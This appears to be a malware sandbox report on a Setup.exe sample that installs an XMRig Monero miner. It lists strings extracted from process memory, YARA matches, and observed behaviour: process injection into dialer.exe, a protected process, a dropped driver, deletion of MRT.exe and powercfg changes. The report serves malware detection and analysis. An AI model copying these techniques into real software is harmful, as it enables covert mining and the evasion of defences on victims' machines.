Source: lsass.exe, 00000031.00000002.2736247539.000001BA8E3E1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409136630.000001BA8E23D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409782436.000001BA8E3CB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E29E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2700477885.000001BA8E283000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2713705631.000001BA8E297000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1409358052.000001BA8E28A000.00000004.00000001.00020000.00000000.sdmp, OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: OfficeClickToRun.exe, 00000074.00000000.1742941039.000001570E118000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: lsass.exe, 00000031.00000000.1407435054.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2630628617.000001BA8DA4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: svchost.exe, 0000000C.00000002.2617581393.000001560191C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2549220187.0000015601085000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://standards.iso.org/iso/19770/-2/2009/schema.xsd
Source: svchost.exe, 00000006.00000002.1370890183.0000022ADE613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.comc
Source: lsass.exe, 00000031.00000002.2692346869.000001BA8E220000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1408938613.000001BA8E200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0~
Source: svchost.exe, 00000061.00000000.1548580428.000001D50025A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.msftconnecttest.com/
Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1371055435.0000022ADE65C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1371073026.0000022ADE675000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370267523.0000022ADE65D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370421200.0000022ADE668000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370002682.0000022ADE671000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000002.1371073026.0000022ADE677000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370002682.0000022ADE671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000006.00000003.1370089560.0000022ADE66A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000006.00000003.1369934811.0000022ADE678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370267523.0000022ADE65D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370421200.0000022ADE668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000006.00000003.1370089560.0000022ADE66A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370421200.0000022ADE668000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000006.00000002.1371017605.0000022ADE647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000006.00000003.1370376221.0000022ADE632000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370296542.0000022ADE649000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000006.00000003.1370089560.0000022ADE66A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: OfficeClickToRun.exe, 00000074.00000002.2761215419.000001570C208000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ecs.office.com
Source: svchost.exe, 0000006B.00000000.1592264170.00000184E25FB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000002.2709297650.00000184E25FD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1604978379.00000184E2C40000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.comSRD1%
Source: svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod
Source: svchost.exe, 00000002.00000003.1203500301.0000016358DD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdC:
Source: svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000002.00000003.1203500301.0000016358DC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2C:
Source: OfficeClickToRun.exe, 00000074.00000002.2678502917.000001570BEA8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: OfficeClickToRun.exe, 00000074.00000002.2678502917.000001570BEA8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1652CE
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorize19g
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeation
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorized
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizedty
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeened(
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeger
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeltip
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizen
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizenies
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeoggerp
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeols
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizeoxy2
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizespacex
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.windows.net/common/oauth2/authorizetos8
Source: svchost.exe, 0000006B.00000000.1602961959.00000184E2AFF000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.comSRD1-
Source: OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: svchost.exe, 0000006B.00000000.1599616250.00000184E28CD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: svchost.exe, 0000006B.00000000.1599616250.00000184E28CD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comN
Source: svchost.exe, 0000006B.00000000.1602961959.00000184E2AFF000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1605347716.00000184E2C79000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1605693530.00000184E2CFA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comSRD13
Source: svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1371055435.0000022ADE65C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: svchost.exe, 00000058.00000000.1519460664.000002AB7DE12000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns2-ch1p.notify.windows.com/?token=AwYAAAAYHqKf08ZPoZ860Y%2foGt%2fNxdm9wovwzD08hc8iwriUJ1DW
Source: svchost.exe, 0000006B.00000000.1602961959.00000184E2AFF000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comSRD1#
Source: dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process information set: 01 00 00 00
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process information set: 01 00 00 00

System Summary

Malicious sample detected (through community Yara rule)

Source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 81.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: dialer.exe PID: 6444, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\dialer.exe

Process Stats: CPU usage > 24%

Source: C:\Windows\System32\dialer.exe	Code function: 41_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	41_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: 80_2_0000000140001394 NtAlpcOpenSenderProcess,	80_2_0000000140001394
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_00000280923828C8 NtEnumerateValueKey,NtEnumerateValueKey,	131_2_00000280923828C8

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

File created: C:\Windows\TEMP\sidneyeifgjd.sys

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe

File deleted: C:\Windows\System32\MRT.exe

Jump to behavior

Source: C:\Windows\System32\dialer.exe	Code function: 41_2_000000014000226C	41_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 41_2_00000001400014D8	41_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 41_2_0000000140002560	41_2_0000000140002560
Source: C:\Windows\System32\dialer.exe	Code function: 80_2_0000000140003240	80_2_0000000140003240
Source: C:\Windows\System32\dialer.exe	Code function: 80_2_00000001400027D0	80_2_00000001400027D0
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_00000280923944A8	131_2_00000280923944A8
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_000002809238DCE0	131_2_000002809238DCE0
Source: C:\Windows\System32\dasHost.exe	Code function: 131_2_0000028092382B2C	131_2_0000028092382B2C

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\sidneyeifgjd.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
